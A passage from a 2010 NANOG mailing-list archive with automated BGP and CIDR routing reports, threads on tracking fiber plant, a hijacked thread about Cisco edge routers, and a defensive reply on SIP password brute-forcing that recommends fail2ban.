46.0.0.0/16 12654 RIPE NCC RIS Project 46.1.0.0/21 12654 RIPE NCC RIS Project 46.1.24.0/24 12654 RIPE NCC RIS Project Complete listing at http://thyme.apnic.net/current/data-add-IANA Number of prefixes announced per prefix length (Global) ------------------------------------------------------- /1:0 /2:0 /3:0 /4:0 /5:0 /6:0 /7:0 /8:21 /9:10 /10:25 /11:65 /12:185 /13:384 /14:659 /15:1247 /16:10899 /17:5114 /18:8708 /19:17895 /20:21843 /21:21895 /22:28211 /23:28324 /24:162692 /25:935 /26:1163 /27:581 /28:214 /29:9 /30:7 /31:0 /32:8 Advertised prefixes smaller than registry allocations ----------------------------------------------------- ASN No of nets Total ann. Description 6389 2690 4132 bellsouth.net, inc. 4323 2353 3785 Time Warner Telecom 4766 1476 1858 Korea Telecom (KIX) 1785 1321 1859 PaeTec Communications, Inc. 11492 1062 1144 Cable One 17488 1051 1272 Hathway IP Over Cable Interne 18566 1040 1059 Covad Communications 18101 962 1091 Reliance Infocom Ltd Internet 7018 952 1584 AT&T WorldNet Services 8452 926 1027 TEDATA Complete listing at http://thyme.apnic.net/current/data-sXXas-nos Number of /24s announced per /8 block (Global) ---------------------------------------------- 2:1 4:12 8:234 12:1998 13:10 15:22 16:3 17:8 20:39 24:1316 27:1 32:48 38:646 40:99 41:1941 44:3 46:1 47:26 52:6 55:2 56:2 57:23 58:643 59:632 60:397 61:1098 62:1039 63:2014 64:3802 65:2364 66:4103 67:1802 68:1039 69:2831 70:689 71:235 72:1869 73:2 74:2107 75:238 76:338 77:824 78:579 79:402 80:977 81:775 82:453 83:438 84:630 85:1009 86:381 87:688 88:419 89:1540 90:64 91:2708 92:422 93:1183 94:1378 95:791 96:212 97:295 98:536 99:23 100:1 109:305 110:296 111:425 112:231 113:224 114:354 115:518 116:1031 117:618 118:377 119:809 120:144 121:825 122:1402 123:871 124:1077 125:1285 128:196 129:202 130:139 131:482 132:82 133:16 134:195 135:42 136:226 137:177 138:238 139:89 140:463 141:132 142:377 143:339 144:388 145:51 146:405 147:178 148:568 149:204 150:146 151:170 152:248 153:165 154:2 155:274 156:178 157:331 158:98 159:355 160:305 161:163 162:272 163:165 164:304 165:462 166:503 167:389 168:761 169:157 170:569 171:48 172:3 173:467 174:532 175:37 178:5 180:301 183:226 184:3 186:257 187:227 188:1293 189:661 190:3504 192:5728 193:4457 194:3345 195:2779 196:1176 198:3534 199:3392 200:5325 201:1473 202:8092 203:8313 204:4020 205:2197 206:2482 207:2994 208:3922 209:3428 210:2539 211:1186 212:1661 213:1659 214:250 215:61 216:4429 217:1508 218:484 219:442 220:1067 221:470 222:306 End of report From streiner at cluebyfour.org Fri Feb 5 13:26:41 2010 From: streiner at cluebyfour.org (Justin M. Streiner) Date: Fri, 5 Feb 2010 14:26:41 -0500 (EST) Subject: fiber plant management? In-Reply-To: References: Message-ID: On Fri, 5 Feb 2010, Martin Hannigan wrote: > Honestly? A spreadsheet will do it. Our fiber plant is large enough, and enough people make changes that a spreadsheet is not a scalable option. jms > On 2/4/10, Justin M. Streiner wrote: >> To those of you who currently operate large campus/metro fiber plants, >> what are you currently using to track the usage of that plant? By that I >> mean things such as: >> * tracking the number of free/used/unusable strands in a cable >> * tracking conduit utilization >> * tying OTDR test results/power meter readings to strands >> * trying as-built drawings to cable routes and plant assets like >> manholes, junction boxes, transition splice points, duct banks, >> utility poles, etc. >> * mapping termination bays to cables >> * tracking cross-connects and splice locations >> * grouping cable segments and cross-connects together into a path/circuit >> * utilization reports, etc. >> >> I've looked at one or two commercial packages, and might look at more as >> time permits. I haven't seen much in the open-source world, and I suspect >> that many places ended up rolling their own management apps to tie into >> existing provisioning systems, etc. It's possible that I could end up >> going that route as well. >> >> jms >> >> > > > -- > Martin Hannigan martin at theicelandguy.com > p: +16178216079 > Power, Network, and Costs Consulting for Iceland Datacenters and Occupants > From martin at theicelandguy.com Fri Feb 5 14:02:15 2010 From: martin at theicelandguy.com (Martin Hannigan) Date: Fri, 5 Feb 2010 15:02:15 -0500 Subject: fiber plant management? In-Reply-To: References: Message-ID: On Fri, Feb 5, 2010 at 2:26 PM, Justin M. Streiner wrote: > On Fri, 5 Feb 2010, Martin Hannigan wrote: > > Honestly? A spreadsheet will do it. >> > > Our fiber plant is large enough, and enough people make changes that a > spreadsheet is not a scalable option. > > How large? -- Martin Hannigan martin at theicelandguy.com p: +16178216079 Power, Network, and Costs Consulting for Iceland Datacenters and Occupants From dustin at rseng.net Fri Feb 5 15:05:03 2010 From: dustin at rseng.net (Dustin Jurman) Date: Fri, 5 Feb 2010 16:05:03 -0500 Subject: fiber plant management? In-Reply-To: References: Message-ID: <6B01C29BEA65E347A560D0306A33D63BDF309131A4@RSSBS08.rseng.net> Hello fellow Nanogers, I know this is an emotional issue for some but we're looking at some upgrades to our cores and being a classic cisco shop we're wondering if anyone has had any experience with the Cisco ASR models in the service provider space. We're used to running VXR's and are trying to make a decision between going with G2 proc or moving into the ASR's. These would be edge routers. Any input would be appreciated. Thank you. Dustin Dustin Jurman CEO 1211 North Westshore Blvd - Suite 711 Tampa, Fl 33607 813-232-4887 dustin at rseng.net "Building Better Infrastructure" -----Original Message----- From: Martin Hannigan [mailto:martin at theicelandguy.com] Sent: Friday, February 05, 2010 3:02 PM To: Justin M. Streiner Cc: nanog at nanog.org Subject: Re: fiber plant management? On Fri, Feb 5, 2010 at 2:26 PM, Justin M. Streiner wrote: > On Fri, 5 Feb 2010, Martin Hannigan wrote: > > Honestly? A spreadsheet will do it. >> > > Our fiber plant is large enough, and enough people make changes that a > spreadsheet is not a scalable option. > > How large? -- Martin Hannigan martin at theicelandguy.com p: +16178216079 Power, Network, and Costs Consulting for Iceland Datacenters and Occupants From scott at doc.net.au Fri Feb 5 15:27:14 2010 From: scott at doc.net.au (Scott Howard) Date: Fri, 5 Feb 2010 13:27:14 -0800 Subject: How common are wide open SIP gateways? In-Reply-To: References: Message-ID: On Fri, Feb 5, 2010 at 9:45 AM, David Birnbaum wrote: > We have noticed a lot of issues with Asterisk 1.2 and some 1.4 rollouts. > FreePBX had some truck-sized holes in it. Most/all of the big issues that existed in previous version of Asterisk/FreePBX have been resolved in later releases. The majority of the "stolen SIP" cases I've heard of have come down to brute forcing of often very insecure passwords - quite often stupid insecure passwords like the same as the username. And of course the username itself is normally the extension, which makes is relatively easy to guess (if "100" doesn't exist, then "200" or "1000" probably does, etc). Then there's the issue of unencrypted/unsecured phone provisioning files, complete with SIP usernames/passwords, hosted on internet webservers - often with the only security being your ability to guess the MAC address... > On our relatively small client base, we are seing SIP probing on more or > less a non-stop basis, and some of our customers have been hacked over the Presuming you're running Asterisk, fail2ban can help. The only real issue I've had with it is that many softphones will repeated try to register if you get the password wrong, so a user entering their username/password even only once will get them blocked for X minutes. Scott From streiner at cluebyfour.org Fri Feb 5 15:28:58 2010 From: streiner at cluebyfour.org (Justin M. Streiner) Date: Fri, 5 Feb 2010 16:28:58 -0500 (EST) Subject: fiber plant management? In-Reply-To: <6B01C29BEA65E347A560D0306A33D63BDF309131A4@RSSBS08.rseng.net> References: <6B01C29BEA65E347A560D0306A33D63BDF309131A4@RSSBS08.rseng.net> Message-ID: On Fri, 5 Feb 2010, Dustin Jurman wrote: > I know this is an emotional issue for some but we're looking at some > upgrades to our cores and being a classic cisco shop we're wondering if > anyone has had any experience with the Cisco ASR models in the service > provider space. We're used to running VXR's and are trying to make a > decision between going with G2 proc or moving into the ASR's. These > would be edge routers. Any input would be appreciated. Thank you. Wouldn't it be better to start a new thread for this, rather trying to hijack an unrelated thread? VXRs and ASRs have nothing to do with fiber plant management. jms > -----Original Message----- > From: Martin Hannigan [mailto:martin at theicelandguy.com] > Sent: Friday, February 05, 2010 3:02 PM > To: Justin M. Streiner > Cc: nanog at nanog.org > Subject: Re: fiber plant management? > > On Fri, Feb 5, 2010 at 2:26 PM, Justin M. Streiner > wrote: > >> On Fri, 5 Feb 2010, Martin Hannigan wrote: >> >> Honestly? A spreadsheet will do it. >>> >> >> Our fiber plant is large enough, and enough people make changes that a >> spreadsheet is not a scalable option. >> >> > > > How large? > > > > -- > Martin Hannigan martin at theicelandguy.com > p: +16178216079 > Power, Network, and Costs Consulting for Iceland Datacenters and Occupants > > > From jackson.tim at gmail.com Fri Feb 5 15:42:31 2010 From: jackson.tim at gmail.com (Tim Jackson) Date: Fri, 5 Feb 2010 15:42:31 -0600 Subject: fiber plant management? In-Reply-To: References: Message-ID: <4407932e1002051342y4671d38t63ca69313d59cb0f@mail.gmail.com> We're in the process of evaluating: http://www.stellarrad.com/windowsbased/stellarmap.cfm So far it looks OK... Our OSP guys & technicians seem happy with it, which is the important part... Something that helps them identify where a potential problem or where plant is down is the #1 goal we're after.. The hardest part is actually gathering the data to put into the system, we're gathering every pole & every splice to enter into the system... And no, an Excel sheet does not work... -- Tim On Fri, Feb 5, 2010 at 1:26 PM, Justin M. Streiner wrote: > On Fri, 5 Feb 2010, Martin Hannigan wrote: > >> Honestly? A spreadsheet will do it. > > Our fiber plant is large enough, and enough people make changes that a > spreadsheet is not a scalable option. > > jms > >> On 2/4/10, Justin M. Streiner wrote: >>> >>> To those of you who currently operate large campus/metro fiber plants, >>> what are you currently using to track the usage of that plant? ?By that I >>> mean things such as: >>> * tracking the number of free/used/unusable strands in a cable >>> * tracking conduit utilization >>> * tying OTDR test results/power meter readings to strands >>> * trying as-built drawings to cable routes and plant assets like >>> ? ? ? ?manholes, junction boxes, transition splice points, duct banks, >>> ? ? ? ?utility poles, etc. >>> * mapping termination bays to cables >>> * tracking cross-connects and splice locations >>> * grouping cable segments and cross-connects together into a path/circuit >>> * utilization reports, etc. >>> >>> I've looked at one or two commercial packages, and might look at more as >>> time permits. ?I haven't seen much in the open-source world, and I >>> suspect >>> that many places ended up rolling their own management apps to tie into >>> existing provisioning systems, etc. ?It's possible that I could end up >>> going that route as well. >>> >>> jms >>> >>> >> >> >> -- >> Martin Hannigan ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? martin at theicelandguy.com >> p: +16178216079 >> Power, Network, and Costs Consulting for Iceland Datacenters and Occupants >> > > From streiner at cluebyfour.org Fri Feb 5 15:43:40 2010 From: streiner at cluebyfour.org (Justin M. Streiner) Date: Fri, 5 Feb 2010 16:43:40 -0500 (EST) Subject: fiber plant management? In-Reply-To: References: Message-ID: On Fri, 5 Feb 2010, Martin Hannigan wrote: >> Our fiber plant is large enough, and enough people make changes that a >> spreadsheet is not a scalable option. > > How large? Around 90 buildings, lots of conduits/manholes/pullboxes, lots of owned fiber or varying vintages, lots of leased fiber. Around a dozen people have the ability to work on the plant. A spreadsheet won't cut it. jms From dustin at rseng.net Fri Feb 5 15:46:07 2010 From: dustin at rseng.net (Dustin Jurman) Date: Fri, 5 Feb 2010 16:46:07 -0500 Subject: VXR VS ASR In-Reply-To: References: <6B01C29BEA65E347A560D0306A33D63BDF309131A4@RSSBS08.rseng.net> Message-ID: <6B01C29BEA65E347A560D0306A33D63BDF309131A6@RSSBS08.rseng.net> My mistake, Dustin Dustin Jurman CEO 1211 North Westshore Blvd - Suite 711 Tampa, Fl 33607 813-232-4887 dustin at rseng.net "Building Better Infrastructure" -----Original Message----- From: Justin M. Streiner [mailto:streiner at cluebyfour.org] Sent: Friday, February 05, 2010 4:29 PM To: Dustin Jurman Cc: 'nanog at nanog.org' Subject: RE: fiber plant management? On Fri, 5 Feb 2010, Dustin Jurman wrote: > I know this is an emotional issue for some but we're looking at some > upgrades to our cores and being a classic cisco shop we're wondering if > anyone has had any experience with the Cisco ASR models in the service > provider space. We're used to running VXR's and are trying to make a > decision between going with G2 proc or moving into the ASR's. These > would be edge routers. Any input would be appreciated. Thank you. Wouldn't it be better to start a new thread for this, rather trying to hijack an unrelated thread? VXRs and ASRs have nothing to do with fiber plant management. jms From cidr-report at potaroo.net Fri Feb 5 16:00:01 2010 From: cidr-report at potaroo.net (cidr-report at potaroo.net) Date: Fri, 5 Feb 2010 22:00:01 GMT Subject: BGP Update Report Message-ID: <201002052200.o15M01Ob074068@wattle.apnic.net> BGP Update Report Interval: 28-Jan-10 -to- 04-Feb-10 (7 days) Observation Point: BGP Peering with AS131072 TOP 20 Unstable Origin AS Rank ASN Upds % Upds/Pfx AS-Name 1 - AS18170 74298 6.7% 3377.2 -- CHANGWON-AS-KR Changwon National University 2 - AS5800 20233 1.8% 88.0 -- DNIC-ASBLK-05800-06055 - DoD Network Information Center 3 - AS31055 19475 1.8% 9737.5 -- CONSULTIX-AS Consultix GmbH 4 - AS7303 19214 1.7% 29.0 -- Telecom Argentina S.A. 5 - AS14420 16540 1.5% 42.6 -- CORPORACION NACIONAL DE TELECOMUNICACIONES CNT S.A. 6 - AS3300 14884 1.4% 240.1 -- BT-INFONET-EUROPE BT-Infonet-Europe 7 - AS4134 12793 1.2% 5.1 -- CHINANET-BACKBONE No.31,Jin-rong Street 8 - AS35805 11895 1.1% 21.0 -- UTG-AS United Telecom AS 9 - AS45408 11738 1.1% 5869.0 -- 10 - AS7643 11283 1.0% 25.9 -- VNPT-AS-VN Vietnam Posts and Telecommunications (VNPT) 11 - AS9829 10876 1.0% 24.9 -- BSNL-NIB National Internet Backbone 12 - AS9430 8466 0.8% 325.6 -- STPI-NOIDA Software Technology Parks of India,Block-IV 13 - AS28878 8215 0.8% 2738.3 -- SIGNET-AS Signet B.V. 14 - AS4249 8035 0.7% 46.2 -- LILLY-AS - Eli Lilly and Company 15 - AS1659 7819 0.7% 39.3 -- ERX-TANET-ASN1 Tiawan Academic Network (TANet) Information Center 16 - AS8452 7631 0.7% 9.7 -- TEDATA TEDATA 17 - AS23577 7327 0.7% 15.5 -- ATM-MPLS-AS-KR Korea Telecom 18 - AS5536 7156 0.7% 68.2 -- Internet-Egypt 19 - AS7738 7030 0.6% 16.3 -- Telecomunicacoes da Bahia S.A. 20 - AS17964 6923 0.6% 86.5 -- DXTNET Beijing Dian-Xin-Tong Network Technologies Co., Ltd. TOP 20 Unstable Origin AS (Updates per announced prefix) Rank ASN Upds % Upds/Pfx AS-Name 1 - AS31055 19475 1.8% 9737.5 -- CONSULTIX-AS Consultix GmbH 2 - AS45408 11738 1.1% 5869.0 -- 3 - AS18170 74298 6.7% 3377.2 -- CHANGWON-AS-KR Changwon National University 4 - AS5691 2743 0.2% 2743.0 -- MITRE-AS-5 - The MITRE Corporation 5 - AS28878 8215 0.8% 2738.3 -- SIGNET-AS Signet B.V. 6 - AS18439 1289 0.1% 1289.0 -- VISTATSI - VISTA Technology Services Inc. 7 - AS16569 2278 0.2% 1139.0 -- ASN-CITY-OF-CALGARY - City of Calgary 8 - AS27245 876 0.1% 876.0 -- HEIDRICK-CHICAGO - HEIDRICK 9 - AS37020 672 0.1% 672.0 -- CELTEL-DRC 10 - AS29421 528 0.1% 528.0 -- DCI-AS Digital Communications Incorporated Ltd. 11 - AS18167 2082 0.2% 520.5 -- HCLCOMNET-AS-IN HCL Comnet Systems & Services Ltd 12 - AS3475 457 0.0% 457.0 -- LANT-AFLOAT - Navy Network Information Center (NNIC) 13 - AS10445 2514 0.2% 419.0 -- HTG - Huntleigh Telcom 14 - AS28277 388 0.0% 388.0 -- Vmax Net Telecomunica??es do Brasil Ltda 15 - AS11993 1119 0.1% 373.0 -- Banco do Brasil S.A. 16 - AS4270 1054 0.1% 351.3 -- Red de Interconexion Universitaria 17 - AS9430 8466 0.8% 325.6 -- STPI-NOIDA Software Technology Parks of India,Block-IV 18 - AS18399 1268 0.1% 317.0 -- BAGAN-TRANSIT-AS Bagan Cybertech IDC & Teleport International Transit 19 - AS6658 622 0.1% 311.0 -- NAPRI s.r.o. 20 - AS47559 298 0.0% 298.0 -- TSCNET-AS Tele Satelyt Company SRL TOP 20 Unstable Prefixes Rank Prefix Upds % Origin AS -- AS Name 1 - 62.168.199.0/24 19473 1.6% AS31055 -- CONSULTIX-AS Consultix GmbH 2 - 62.193.80.0/24 6283 0.5% AS5536 -- Internet-Egypt 3 - 114.70.96.0/24 5869 0.5% AS45408 -- 4 - 114.70.97.0/24 5869 0.5% AS45408 -- 5 - 193.177.160.0/23 5559 0.5% AS28878 -- SIGNET-AS Signet B.V. 6 - 59.22.138.0/23 4631 0.4% AS18170 -- CHANGWON-AS-KR Changwon National University 7 - 220.68.46.0/23 4631 0.4% AS18170 -- CHANGWON-AS-KR Changwon National University 8 - 220.84.78.0/24 4631 0.4% AS18170 -- CHANGWON-AS-KR Changwon National University 9 - 203.246.0.0/19 4631 0.4% AS18170 -- CHANGWON-AS-KR Changwon National University 10 - 220.84.77.0/24 4631 0.4% AS18170 -- CHANGWON-AS-KR Changwon National University 11 - 220.68.48.0/21 4631 0.4% AS18170 -- CHANGWON-AS-KR Changwon National University 12 - 59.22.140.0/23 4631 0.4% AS18170 -- CHANGWON-AS-KR Changwon National University 13 - 221.164.52.0/23 4631 0.4% AS18170 -- CHANGWON-AS-KR Changwon National University 14 - 221.164.54.0/24 4631 0.4% AS18170 -- CHANGWON-AS-KR Changwon National University 15 - 203.246.0.0/24 4614 0.4% AS18170 -- CHANGWON-AS-KR Changwon National University 16 - 59.22.142.0/24 4614 0.4% AS18170 -- CHANGWON-AS-KR Changwon National University 17 - 203.246.23.0/24 4614 0.4% AS18170 -- CHANGWON-AS-KR Changwon National University 18 - 118.39.132.0/24 3742 0.3% AS18170 -- CHANGWON-AS-KR Changwon National University 19 - 118.39.131.0/24 3740 0.3% AS18170 -- CHANGWON-AS-KR Changwon National University 20 - 118.39.128.0/24 3740 0.3% AS18170 -- CHANGWON-AS-KR Changwon National University Details at http://bgpupdates.potaroo.net ------------------------------------ Copies of this report are mailed to: nanog at merit.edu eof-list at ripe.net apops at apops.net routing-wg at ripe.net afnog at afnog.org From cidr-report at potaroo.net Fri Feb 5 16:00:00 2010 From: cidr-report at potaroo.net (cidr-report at potaroo.net) Date: Fri, 5 Feb 2010 22:00:00 GMT Subject: The Cidr Report Message-ID: <201002052200.o15M00gZ074059@wattle.apnic.net> This report has been generated at Fri Feb 5 21:11:24 2010 AEST. The report analyses the BGP Routing Table of AS2.0 router and generates a report on aggregation potential within the table. Check http://www.cidr-report.org for a current version of this report. Recent Table History Date Prefixes CIDR Agg 29-01-10 312562 192018 30-01-10 312956 192317 31-01-10 313256 192323 01-02-10 313093 192181 02-02-10 313183 192221 03-02-10 313248 192359 04-02-10 313269 192391 05-02-10 313323 192808 AS Summary 33511 Number of ASes in routing system 14271 Number of ASes announcing only one prefix 4375 Largest number of prefixes announced by an AS AS4323 : TWTC - tw telecom holdings, inc. 93118720 Largest address span announced by an AS (/32s) AS4134 : CHINANET-BACKBONE No.31,Jin-rong Street Aggregation Summary The algorithm used in this report proposes aggregation only when there is a precise match using the AS path, so as to preserve traffic transit policies. Aggregation is also proposed across non-advertised address space ('holes'). --- 05Feb10 --- ASnum NetsNow NetsAggr NetGain % Gain Description Table 313590 192800 120790 38.5% All ASes AS6389 4132 322 3810 92.2% BELLSOUTH-NET-BLK - BellSouth.net Inc. AS4323 4375 1827 2548 58.2% TWTC - tw telecom holdings, inc. AS4766 1858 486 1372 73.8% KIXS-AS-KR Korea Telecom AS1785 1859 792 1067 57.4% AS-PAETEC-NET - PaeTec Communications, Inc. AS22773 1128 71 1057 93.7% ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. AS17488 1272 281 991 77.9% HATHWAY-NET-AP Hathway IP Over Cable Internet AS8151 1569 662 907 57.8% Uninet S.A. de C.V. AS4755 1274 390 884 69.4% TATACOMM-AS TATA Communications formerly VSNL is Leading ISP AS18101 1091 258 833 76.4% RIL-IDC Reliance Infocom Ltd Internet Data Centre, AS10620 996 173 823 82.6% TV Cable S.A. AS19262 1061 243 818 77.1% VZGNI-TRANSIT - Verizon Internet Services Inc. AS8452 1027 320 707 68.8% TEDATA TEDATA AS6478 1109 424 685 61.8% ATT-INTERNET3 - AT&T WorldNet Services AS18566 1059 380 679 64.1% COVAD - Covad Communications Co. AS4808 851 228 623 73.2% CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network AS4804 678 72 606 89.4% MPX-AS Microplex PTY LTD AS7303 677 105 572 84.5% Telecom Argentina S.A. AS7018 1581 1021 560 35.4% ATT-INTERNET4 - AT&T WorldNet Services AS4134 1018 467 551 54.1% CHINANET-BACKBONE No.31,Jin-rong Street AS3356 1209 659 550 45.5% LEVEL3 Level 3 Communications AS24560 842 297 545 64.7% AIRTELBROADBAND-AS-AP Bharti Airtel Ltd., Telemedia Services AS17908 765 229 536 70.1% TCISL Tata Communications AS35805 568 36 532 93.7% UTG-AS United Telecom AS AS7545 960 439 521 54.3% TPG-INTERNET-AP TPG Internet Pty Ltd AS5668 791 302 489 61.8% AS-5668 - CenturyTel Internet Holdings, Inc. AS9443 552 79 473 85.7% INTERNETPRIMUS-AS-AP Primus Telecommunications AS4780 619 149 470 75.9% SEEDNET Digital United Inc. AS22047 534 67 467 87.5% VTR BANDA ANCHA S.A. AS11492 1144 680 464 40.6% CABLEONE - CABLE ONE, INC. AS9299 665 216 449 67.5% IPG-AS-AP Philippine Long Distance Telephone Company Total 37264 11675 25589 68.7% Top 30 total Possible Bogus Routes 2.0.0.0/16 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 2.1.0.0/21 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 2.1.24.0/24 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 41.223.92.0/22 AS36936 CELTEL-GABON Celtel Gabon Internet Service 41.223.188.0/24 AS22351 INTELSAT Intelsat Global BGP Routing Policy 41.223.189.0/24 AS26452 BRING-AS - BringCom, Inc. 46.0.0.0/16 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 46.1.0.0/21 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 46.1.24.0/24 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 62.61.220.0/24 AS24974 TACHYON-EU Tachyon Europe BV - Wireless Broadband via Satellite 62.61.221.0/24 AS24974 TACHYON-EU Tachyon Europe BV - Wireless Broadband via Satellite 63.140.213.0/24 AS22555 UTC - Universal Talkware Corporation 63.143.251.0/24 AS22555 UTC - Universal Talkware Corporation 64.82.128.0/19 AS16617 COMMUNITYISP - CISP 64.82.160.0/19 AS16617 COMMUNITYISP - CISP 66.128.38.0/24 AS15246 Telecomunicaciones Satelitales TelesatS.A. 66.180.239.0/24 AS35888 VIGNETTE - VIGNETTE CORPORATION 66.206.32.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.33.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.34.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.35.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.47.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 66.207.32.0/20 AS23011 66.230.240.0/20 AS27286 66.241.112.0/20 AS21547 REVNETS - Revolution Networks 66.245.176.0/20 AS19318 NJIIX-AS-1 - NEW JERSEY INTERNATIONAL INTERNET EXCHANGE LLC 69.6.80.0/24 AS13442 69.6.81.0/24 AS13442 69.71.192.0/20 AS13818 PHX-INTL-TELEPORT - Phoenix International Teleport 69.80.224.0/19 AS19166 ACRONOC - ACRONOC INC 71.19.134.0/23 AS3313 INET-AS I.NET S.p.A. 71.19.160.0/23 AS4648 NZIX-2 Netgate 80.88.10.0/24 AS33774 DJAWEB 80.88.12.0/24 AS33779 wataniya-telecom-as 100.100.100.0/24 AS36992 ETISALAT-MISR 117.120.56.0/21 AS4755 TATACOMM-AS TATA Communications formerly VSNL is Leading ISP 121.46.0.0/16 AS4134 CHINANET-BACKBONE No.31,Jin-rong Street 121.50.168.0/21 AS9931 CAT-AP The Communication Authoity of Thailand, CAT 158.222.70.0/23 AS6137 SISNA - SISNA, Inc. 158.222.72.0/23 AS6137 SISNA - SISNA, Inc. 158.222.224.0/20 AS19864 O1COMM - O1 COMMUNICATIONS 158.222.224.0/22 AS19864 O1COMM - O1 COMMUNICATIONS 158.222.229.0/24 AS19864 O1COMM - O1 COMMUNICATIONS 172.7.0.0/24 AS36992 ETISALAT-MISR 190.102.32.0/20 AS30058 FDCSERVERS - FDCservers.net 192.9.0.0/16 AS11479 BRM-SUN-AS - Sun Microsystems, Inc 192.64.85.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.69.108.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.70.164.0/24 AS25689 NRCNET-AS - National Research Council of Canada 192.101.45.0/24 AS2905 TICSA-ASN 192.101.46.0/24 AS6503 Axtel, S.A.B. de C. V. 192.101.64.0/21 AS702 AS702 Verizon Business EMEA - Commercial IP service provider in Europe 192.101.70.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 192.101.71.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 192.101.72.0/24 AS702 AS702 Verizon Business EMEA - Commercial IP service provider in Europe 192.101.74.0/24 AS1239 SPRINTLINK - Sprint 192.124.248.0/23 AS680 DFN-IP service G-WiN 192.124.252.0/22 AS680 DFN-IP service G-WiN 192.129.127.0/24 AS6568 Ag para el Desarrollo de la Sociedad de la Inf en Bolivia - ADSIB 192.131.233.0/24 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 192.133.6.0/24 AS10282 ORANGE-BUSINESS-SERVICES-CEEUR Orange Business Services (formerly Equant) AS for CEEUR 192.139.3.0/24 AS23184 PERSONA - PERSONA COMMUNICATIONS INC. 192.145.251.0/24 AS38091 HELLONET-AS-KR CJ-CABLENET 192.153.144.0/21 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 192.154.32.0/19 AS81 NCREN - MCNC 192.154.64.0/19 AS81 NCREN - MCNC 192.188.208.0/20 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 193.105.105.0/24 AS12502 NEPUSTILNET-AS01 Dr.-Ing. Nepustil & Co. GmbH 195.110.34.0/23 AS45753 NETSEC-HK Unit 1205-1207 195.110.34.0/24 AS45753 NETSEC-HK Unit 1205-1207 195.110.35.0/24 AS45753 NETSEC-HK Unit 1205-1207 196.2.224.0/22 AS24863 LINKdotNET-AS 196.6.108.0/24 AS5713 SAIX-NET 196.13.201.0/24 AS2018 TENET-1 196.13.202.0/24 AS2018 TENET-1 196.13.203.0/24 AS2018 TENET-1 196.13.204.0/24 AS2018 TENET-1 196.202.224.0/21 AS8818 TELE Greenland Autonomous System 198.1.2.0/24 AS4761 INDOSAT-INP-AP INDOSAT Internet Network Provider 198.23.26.0/24 AS33052 VZUNET - Verizon Data Services LLC 198.73.210.0/24 AS21570 ACI-1 - Accelerated Connections Inc. 198.97.72.0/21 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 198.97.96.0/19 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 198.97.240.0/20 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 198.135.236.0/24 AS4358 XNET - XNet Information Systems, Inc. 198.161.82.0/23 AS15290 ALLST-15290 - Allstream Corp. 198.161.87.0/24 AS6539 GT-BELL - Bell Canada 198.161.92.0/24 AS6539 GT-BELL - Bell Canada 198.163.214.0/24 AS21804 ACCESS-SK - Access Communications Co-operative Limited 198.163.215.0/24 AS6327 SHAW - Shaw Communications Inc. 198.163.216.0/24 AS6327 SHAW - Shaw Communications Inc. 198.167.0.0/16 AS7456 INTERHOP - Interhop Network SERVICES Inc. 198.168.0.0/16 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 198.169.0.0/16 AS803 SASKTEL - Saskatchewan Telecommunications 198.180.198.0/24 AS23715 SEOUL-INTGW-GXS-AP Global Exchange Services 198.182.235.0/24 AS3356 LEVEL3 Level 3 Communications 199.10.0.0/16 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.16.32.0/19 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 199.26.183.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 199.114.128.0/18 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.114.130.0/24 AS6045 DNIC-ASBLK-05800-06055 - DoD Network Information Center 199.114.131.0/24 AS6045 DNIC-ASBLK-05800-06055 - DoD Network Information Center 199.114.132.0/24 AS6045 DNIC-ASBLK-05800-06055 - DoD Network Information Center 199.114.136.0/24 AS27044 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.114.138.0/24 AS6045 DNIC-ASBLK-05800-06055 - DoD Network Information Center 199.114.140.0/24 AS3544 ITSDN-U7 - DoD Network Information Center 199.114.142.0/24 AS6045 DNIC-ASBLK-05800-06055 - DoD Network Information Center 199.114.144.0/24 AS6045 DNIC-ASBLK-05800-06055 - DoD Network Information Center 199.114.148.0/24 AS6045 DNIC-ASBLK-05800-06055 - DoD Network Information Center 199.114.150.0/24 AS6045 DNIC-ASBLK-05800-06055 - DoD Network Information Center 199.114.152.0/24 AS27033 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.114.153.0/24 AS27034 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.114.154.0/24 AS1733 CENTAF-SWA - 754th Electronic Systems Group 199.114.156.0/24 AS1733 CENTAF-SWA - 754th Electronic Systems Group 199.114.160.0/24 AS1733 CENTAF-SWA - 754th Electronic Systems Group 199.121.0.0/16 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.123.0.0/18 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.123.16.0/20 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.123.80.0/21 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.185.130.0/23 AS19662 UNISERVE-ONLINE - Uniserve On 